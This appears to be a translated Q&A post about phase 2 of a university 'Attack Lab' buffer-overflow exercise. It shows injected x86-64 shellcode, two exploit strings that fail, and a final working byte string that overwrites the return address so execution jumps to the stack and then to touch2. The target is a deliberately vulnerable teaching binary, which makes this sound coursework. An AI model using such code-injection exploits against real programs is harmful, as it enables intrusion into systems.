问题描述
我有一个名为The Attack Lab的项目必须做的缓冲区溢出实验。我现在处于实验的第二阶段,我必须将代码作为漏洞利用字符串的一部分注入,以使程序指向函数touch2()的地址。我已经获得了我需要的正确利用代码(已通过TA确认):
movq $0x4ed659a2,$rdi
pushq $0x4018c3 //address of touch2
ret
我编译并反汇编了这段代码:
disassembly of section .text:
0: 48 c7 c7 a2 59 d6 4e mov $0x4ed659a2,%rdi
7: 68 c3 18 40 00 pushq $0x4018c3
c: c3 retq
我想找到正确的利用程序字符串以传递到程序中? %rsp
的地址为0x5560a188
。
我的助教说this discussion的评论是正确的,所以我尝试了此漏洞利用字符串
48 c7 c7 a2 59 d6 4e 00
68 c3 18 40 00 00 00 00
c3 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00
但这是不正确的。它甚至没有达到touch2
。
在此之前,我致力于以下解决方案:
48 c7 c7 a2 59 d6 4e c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00
c3 18 40 00 00 00 00 00
为
0: 48 c7 c7 a2 59 d6 4e mov $0x4ed659a2,%rdi
7: c3 retq
发生段错误。
我反汇编了rtarget here。 ctarget和rtarget的行为相同。
谢谢。
解决方法
我已经问过我的教授并得到了解决方案。
最初,我的错误利用字符串是
48 c7 c7 a2 59 d6 4e 00
68 c3 18 40 00 00 00 00
c3 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00
但是,我的教授告诉我不要在指令之间添加任何额外的字节。所以我尝试了
48 c7 c7 a2 59 d6 4e
68 c3 18 40 00
c3
00 00 00 00 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00
它有效!
因此,我们只需要确保指令的所有字节都在一起且中间没有填充,并且不要弄乱指令的字节顺序!